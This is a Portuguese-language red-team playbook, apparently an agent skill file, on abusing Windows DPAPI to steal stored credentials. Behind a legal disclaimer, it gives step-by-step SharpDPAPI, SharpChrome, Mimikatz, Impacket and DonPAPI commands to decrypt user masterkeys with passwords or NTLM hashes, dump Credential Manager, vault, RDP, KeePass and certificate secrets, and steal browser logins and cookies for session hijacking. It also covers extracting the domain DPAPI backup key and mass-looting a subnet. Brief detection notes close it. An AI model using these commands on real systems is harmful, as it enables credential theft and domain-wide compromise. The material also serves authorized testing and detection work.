O que Abusando do DPAPI para Acesso a Credenciais faz?
Aviso Legal: Esta habilidade destina-se exclusivamente a testes de penetração autorizados, engajamentos de Red Team e fins educacionais. Extrair credenciais de sistemas que você não possui ou para os quais não possui autorização escrita explícita para testar é ilegal e pode violar leis de fraude e abuso de computadores. Sempre opere dentro de regras de engajamento assinadas e documente cada ação.
Visão Geral
A Windows Data Protection API (DPAPI) é o serviço de criptografia simétrica integrado do sistema operacional que os aplicativos usam para proteger segredos em repouso: credenciais RDP e do Windows Credential Manager salvas, credenciais web e Wi-Fi no Cofre de Credenciais, logins e cookies salvos em navegadores (Chrome/Edge), chaves do KeePass, chaves privadas de certificados e senhas de Tarefas Agendadas. O DPAPI deriva uma chave mestra por usuário (ou por máquina) da senha do usuário (ou do segredo da conta da máquina), e essa chave mestra criptografa "blobs DPAPI" individuais. As chaves mestras criptografadas residem em %APPDATA%\Microsoft\Protect\<SID>\ (usuário) e %WINDIR%\System32\Microsoft\Protect\ (máquina).
Os Red Teamers abusam do DPAPI para recuperar segredos em texto claro após obter um ponto de apoio, mapeando para MITRE ATT&CK T1555.004 (Credenciais de Armazenamentos de Senhas: Windows Credential Manager). Existem três caminhos principais de descriptografia:
- Online / baseado em contexto — executando como o usuário alvo, as APIs do DPAPI (
CryptUnprotectData) descriptografam transparentemente os blobs do usuário. O sinalizador/unprotectdo SharpDPAPI usa isso. - Offline com a senha do usuário ou hash NTLM — descriptografe as chaves mestras do usuário com
/password:ou/ntlm:, em seguida, descriptografe os blobs offline (ótimo para arquivos triados de um host). - Em todo o domínio com a chave de backup DPAPI — Administradores de Domínio podem extrair a chave de backup DPAPI RSA do domínio (
.pvk) uma vez, então descriptografar qualquer chave mestra de usuário do domínio para sempre, online ou offline, com/pvk:.
As ferramentas canônicas são SharpDPAPI (GhostPack, uma porta C# da funcionalidade DPAPI do Mimikatz) para Windows, SharpChrome para segredos de navegador e Mimikatz (dpapi::*) como a implementação original. No Linux, o dpapi.py do Impacket e o donpapi realizam triagem remota/offline.
Quando Usar
- Após comprometer um host Windows onde o usuário possui credenciais RDP, de navegador ou de cofre salvas que valem a pena serem coletadas para movimento lateral.
- Quando você possui a senha ou o hash NTLM de um usuário e deseja descriptografar seus segredos protegidos por DPAPI offline.
- Quando você tem privilégios de Administrador de Domínio e deseja obter a chave de backup DPAPI do domínio para descriptografar dados protegidos de qualquer usuário em todo o parque.
- Ao triar diretórios
Credentials,VaultouProtectexportados de imagens de disco. - Durante exercícios de Purple Team para validar a detecção de acesso à chave mestra DPAPI e leituras de LSASS/pasta Protect.
Pré-requisitos
- Um ponto de apoio autorizado (sessão interativa, beacon ou administração remota) no host Windows alvo.
- Conhecimento do SID do usuário alvo e um dos seguintes: a sessão do usuário, senha, hash NTLM ou direitos de Administrador de Domínio para a chave de backup.
- Ferramentas (compilar a partir do código-fonte ou usar binários de lançamento; obter apenas de fontes oficiais upstream):
# SharpDPAPI / SharpChrome (GhostPack) — compilar com Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Abra SharpDPAPI.sln e compile Release, ou:
msbuild SharpDPAPI.sln /p:Configuration=Release
# Mimikatz (implementação DPAPI original)
# https://github.com/gentilkiwi/mimikatz/releases
# Triagem remota/offline Linux (Impacket)
pipx install impacket # fornece dpapi.py / impacket-dpapi
pipx install donpapi # https://github.com/login-securite/DonPAPI
Objetivos
- Triar um host em busca de blobs de credenciais, cofre, RDP e certificados protegidos por DPAPI.
- Descriptografar chaves mestras de usuário online (
/unprotect), com uma senha/hash ou com a chave de backup do domínio. - Recuperar segredos do Credential Manager e do Cofre de Credenciais em texto claro.
- Extrair logins e cookies salvos de navegadores com o SharpChrome.
- Obter e reutilizar a chave de backup DPAPI do domínio para descriptografia em todo o parque.
Mapeamento MITRE ATT&CK
| ID da Técnica | Nome | Tática | Relevância |
|---|---|---|---|
| T1555.004 | Credenciais de Armazenamentos de Senhas: Windows Credential Manager | Acesso a Credenciais | O DPAPI protege entradas do Credential Manager / Cofre; descriptografar chaves mestras e blobs recupera essas credenciais armazenadas. |
| T1555.003 | Credenciais de Armazenamentos de Senhas: Credenciais de Navegadores Web | Acesso a Credenciais | O SharpChrome descriptografa logins, cookies e chaves de estado do Chrome/Edge protegidos por DPAPI. |
| T1003 | Dumpping de Credenciais do SO | Acesso a Credenciais | Extrair chaves mestras / chaves de backup é uma forma de dump de material de credenciais. |
Fluxo de Trabalho
1. Triar o host em busca de blobs DPAPI
Execute o comando triage do SharpDPAPI no contexto do usuário para enumerar automaticamente e (quando possível) descriptografar credenciais, cofres, RDG/RDP e certificados:
# Triagem online no contexto do usuário atual (usa CryptUnprotectData)
SharpDPAPI.exe triage /unprotect
# Triagem de máquina (requer admin local / SYSTEM) para blobs de escopo de máquina
SharpDPAPI.exe machinetriage
2. Descriptografar chaves mestras de usuário offline (senha ou hash NTLM)
Se você possui a senha ou o hash do usuário, descriptografe suas chaves mestras para um mapeamento {GUID}:SHA1 que você pode reutilizar contra blobs individuais:
# Descriptografar todas as chaves mestras do usuário atual/especificado com a senha
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple
# Descriptografar chaves mestras com o hash NTLM do usuário em vez da senha
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a
# A saída são linhas GUID:SHA1 — alimente-as nos comandos de credentials/vaults
3. Recuperar segredos do Credential Manager e do Cofre
Use o mapeamento de chave mestra descriptografada (ou /pvk:) para descriptografar as credenciais armazenadas e entradas do cofre:
# Descriptografar blobs do Credential Manager com um mapeamento GUID:SHA1
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1
# Ou aponte para uma pasta Credentials alvo e descriptografe com a chave de backup do domínio
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk
# Descriptografar entradas do Cofre de Credenciais
SharpDPAPI.exe vaults /pvk:backupkey.pvk
4. Descriptografar segredos de RDP, KeePass e certificados
# Senhas RDP salvas no RDCMan.settings (contexto do usuário atual)
SharpDPAPI.exe rdg /unprotect
# Chaves mestras do KeePass protegidas por DPAPI
SharpDPAPI.exe keepass /unprotect
# Chaves privadas de certificados (exportar .pem utilizável com /showall para todos os repositórios)
SharpDPAPI.exe certificates /unprotect /showall
5. Extrair credenciais do navegador com SharpChrome
O SharpChrome descriptografa logins e cookies do Chrome/Edge. Chromium moderno usa uma "chave de estado" App-Bound que o SharpChrome resolve via DPAPI:
# Descriptografar logins salvos para o usuário atual
SharpChrome.exe logins /unprotect
# Descriptografar cookies (útil para sequestro de sessão) em uma pasta alvo
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk
# Resolver a chave de estado AES explicitamente
SharpChrome.exe statekeys /unprotect
6. Obter a chave de backup DPAPI do domínio (Administrador de Domínio)
Com Administrador de Domínio, recupere a chave privada de backup DPAPI RSA do domínio uma vez. Esta chave descriptografa as chaves mestras de qualquer usuário do domínio indefinidamente:
# Puxar e salvar a chave de backup do domínio como um .pvk via interface RPC MS-BKRP
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk
Em seguida, descriptografe as chaves mestras de qualquer usuário offline com ela:
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
7. Triagem remota / baseada em Linux (Impacket / DonPAPI)
A partir de uma caixa de operador Linux, colete e descriptografe segredos DPAPI em hosts:
# Descriptografar um único arquivo masterkey com Impacket usando a chave de backup do domínio
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk
# Descriptografar um blob de credencial com a chave mestra recuperada
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>
# Saque DPAPI remoto em massa em hosts com DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24
Ferramentas e Recursos
| Ferramenta | Propósito | Link |
|---|---|---|
| SharpDPAPI | Triagem/descriptografia DPAPI Windows (C#) | https://github.com/GhostPack/SharpDPAPI |
| SharpChrome | Descriptografia de logins/cookies/chave de estado Chromium | https://github.com/GhostPack/SharpDPAPI |
| Mimikatz | Implementação DPAPI original (dpapi::*) | https://github.com/gentilkiwi/mimikatz |
| Impacket dpapi.py | Descriptografia DPAPI remota/offline (Python) | https://github.com/fortra/impacket |
| DonPAPI | Saque DPAPI remoto em massa | https://github.com/login-securite/DonPAPI |
| HackTricks DPAPI | Referência de técnica | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |
Notas de Detecção e OPSEC
- O acesso à chave mestra e leituras de
\Microsoft\Protect\e\Microsoft\Credentials\são detectáveis;backupkeydispara uma chamada RPC MS-BKRP para o DC. - O caminho
/unprotect(online) é a opção mais furtiva para um único host, mas só funciona como o usuário ativo. - Defensores devem monitorar o acesso de processo Sysmon ao LSASS e acesso anormal às pastas Protect/Credentials (DE.CM-01).
Critérios de Validação
- Host triado com
SharpDPAPI triage/machinetriage. - Chaves mestras do usuário descriptografadas via
/unprotect,/password:,/ntlm:ou/pvk:. - Segredos do Credential Manager e do Cofre recuperados.
- Segredos de RDP / KeePass / certificados extraídos quando presentes.
- Logins/cookies do navegador descriptografados com SharpChrome.
- Chave de backup DPAPI do domínio recuperada com Administrador de Domínio (se no escopo) e reutilizada offline.
- Todos os segredos recuperados documentados com host/usuário de origem e conformidade com ROE confirmada.